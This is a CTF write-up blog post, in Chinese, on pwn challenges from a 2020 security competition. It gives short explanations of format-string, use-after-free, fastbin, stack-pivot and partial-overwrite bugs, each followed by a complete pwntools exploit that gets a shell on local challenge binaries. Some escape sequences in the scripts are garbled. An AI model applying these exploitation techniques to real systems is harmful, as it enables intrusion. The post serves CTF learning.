2020信息安全铁人三项 pwn复盘

第一赛区

hacknote

  程序存在格式化字符串漏洞和uaf,不多说了,很简单。

 1 from pwn import *
 2 
 3 p = process('./hacknote')
 4 elf = ELF('./hacknote')
 5 libc = ELF('./libc.so.6')
 6 context.log_level = 'debug'
 7 #by bhxdn
 8 
 9 def duan():
10     gdb.attach(p)
11     pause()
12 
13 def add(size,content):
14     p.sendlineafter('choice :','1')
15     p.sendlineafter('size :',str(size))
16     p.sendafter('Content :',content)
17 
18 def delete(index):
19     p.sendlineafter('choice :','2')
20     p.sendlineafter('Index :',str(index))
21 
22 def show(index):
23     p.sendlineafter('choice :','3')
24     p.sendlineafter('Index :',str(index))
25 
26 #leak libc_base
27 p.sendafter('name!
','%13$p')
28 p.recvuntil('hello ,')
29 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
30 print 'libc_base-->' + hex(libc_base)
31 shell = libc_base + 0x45226
32 
33 add(0x20,'aaaaaaaa')
34 add(0x20,'bbbbbbbb')
35 delete(0)
36 delete(1)
37 add(0x10,p64(shell))
38 show(0)
39 p.interactive()

heap

  同样是存在格式化字符串漏洞和uaf漏洞。

  说一下格式化字符串漏洞泄露libc吧。

  这里我直接看偏移为25的值。然后pwndbg看栈的情况,我直接stack 300看栈情况。然后放到文本中去找。

  25偏移下面那个箭头,所以__libc_start_main+240就是偏移19。所以就%19$p就可以leak libc版本和地址了。

  程序存在uaf漏洞,fastbins attack来攻击__malloc__hook,这里还需要利用realloc来调整一下栈帧来让one_gadget生效。

 1 from pwn import *
 2 
 3 p = process('./heap')
 4 elf = ELF('./heap')
 5 libc = ELF('./libc.so.6')
 6 context.log_level = 'debug'
 7 #by bhxdn
 8 
 9 def duan():
10     gdb.attach(p)
11     pause()
12 
13 def add(size):
14     p.sendlineafter('choice: ','1')
15     p.sendlineafter('item: ',str(size))
16 
17 def delete(index):
18     p.sendlineafter('choice: ','4')
19     p.sendlineafter('item: ',str(index))
20 
21 def edit(index,content):
22     p.sendlineafter('choice: ','3')
23     p.sendlineafter('item: ',str(index))
24     p.sendafter('data: ',content)
25 
26 def show(index):
27     p.sendlineafter('choice: ','2')
28     p.sendlineafter('item: ',str(index))
29 
30 
31 #leak libc_base
32 p.sendafter('name: ','%19$p')
33 p.recvuntil('Hello, ')
34 libc_base = int(p.recv(14),16)-240-libc.symbols['__libc_start_main']
35 print 'pianyi-->' + hex(libc.symbols['__libc_start_main'])
36 print 'libc_base-->' + hex(libc_base)
37 shell = libc_base + 0x4527a
38 
39 add(0x20) #0
40 add(0x60) #1
41 delete(1)
42 edit(1,p64(libc_base+libc.symbols['__malloc_hook']-0x23))
43 add(0x60) #1 2
44 add(0x60) #attack
45 edit(3,'a'*(0x13-8)+p64(shell)+p64(libc_base+libc.symbols['realloc']+0xc))
46 add(0x60)
47 p.interactive()

第二赛区

stackstorm

  可以往堆写入两次数据(但似乎并没有什么用),可以栈溢出,但是只能溢出0x10字节。

  利用第一次溢出泄露栈地址,然后第二次在栈上布置rop,利用栈转移迁移到我们布置的rop链上,leak了libc地址,然后返回到main函数,直接将返回地址覆盖成one_gadget就可以了。

 1 from pwn import *
 2 
 3 p = process('./stackstorm')
 4 elf = ELF('./stackstorm')
 5 libc = ELF('./libc.so.6')
 6 context.log_level = 'debug'
 7 
 8 pop_rdi = 0x00400903
 9 leave_ret = 0x04007C1
10 buf = elf.bss()+0x100
11 main = 0x04007C3
12 
13 p.sendafter('data1:
','bhxdn')
14 payload = 'a'*(0x70-1)+'b'
15 p.sendafter('data2:
',payload)
16 p.recvuntil('b')
17 stack_addr = u64(p.recv(6).ljust(8,'x00'))
18 print 'stack_addr-->' + hex(stack_addr)
19 
20 p.sendafter('data1:
','bhxdn')
21 payload = 'aaaaaaaa' + p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)+p64(0)*9+p64(stack_addr-0x20-0x70)+p64(leave_ret)
22 p.sendafter('data2:
',payload)
23 p.recv(12)
24 libc_base = u64(p.recv(6).ljust(8,'x00'))-libc.symbols['puts']
25 print 'libc_base-->'+hex(libc_base)
26 shell = libc_base+0x4527a
27 
28 payload = 'a'*0x70+'bbbbbbbb'+p64(shell)
29 p.send('bhxdn')
30 p.sendafter('data2:
',payload)
31 p.interactive()

第三赛区

待更新

第四赛区

namepie

  程序本身有system("/bin/sh"),两个输入,可以利用第一个输入leak canary。

   图片可以看到rbp下面是程序本身的地址。开启pie 的程序,后三位是不会变的,所以只覆盖最后一个字节,覆盖成shell的字节,就拿到shell了。

exp:

 1 from pwn import *
 2 
 3 elf = ELF('./namepie')
 4 context.log_level = 'debug'
 5 
 6 shell = 0x000A71
 7 
 8 p = process('./namepie')
 9 p.recvuntil('Name:
')
10 p.send('a'*0x28+'b')
11 p.recvuntil('b')
12 canary = u64(p.recv(7).rjust(8,'x00'))
13 print 'canary-->' + hex(canary)
14 p.recv()
15 p.send('a'*0x28+p64(canary)+'bbbbbbbb'+'x71')
16 p.sendline('ls')
17 p.recvuntil('namepie')
18 p.interactive()

onetime

  是一道菜单堆题。调试的时候发现bss段上有7f。

  存在uaf,先malloc一个chunk,再free掉,修改fd为bss段上的地址。然后再申请两次申请回来。这时候就可以控制bss上的数据,并且有一个可以读写的指针。

  将指针指向malloc_got,泄露libc地址,然后修改malloc_got为one_gadget的地址,再执行malloc就拿到shell了。

 1 from pwn import *
 2 
 3 p = process('./pwn')
 4 elf = ELF('./pwn')
 5 libc = ELF('./libc.so.6')
 6 context.log_level = 'debug'
 7 
 8 def duan():
 9     gdb.attach(p)
10     pause()
11 
12 def add():
13     p.sendlineafter('choice >>
','1')
14 
15 def edit(content):
16     p.sendlineafter('choice >>
','2')
17     p.sendafter('content:',content)
18 
19 def show():
20     p.sendlineafter('choice >>
','3')
21 
22 def delete():
23     p.sendlineafter('choice >>
','4')
24 
25 def gift(content):
26     p.sendlineafter('choice >>
','5')
27     p.sendafter('name:',content)
28 
29 attack_addr = 0x0006020BC-0x2f
30 #x/32gx 0x0006020BC-0x24
31 add()
32 delete()
33 edit(p64(attack_addr))
34 add()
35 gift('a'*11+p64(elf.got['malloc'])+p32(100)+p32(100)+p32(100)+p32(100))
36 
37 show()
38 libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) - libc.symbols['malloc']
39 print 'libc_base-->' + hex(libc_base)
40 shell = libc_base + 0x45226
41 
42 
43 edit(p64(shell))
44 add()
45 p.interactive()
原文地址:https://www.cnblogs.com/bhxdn/p/13974604.html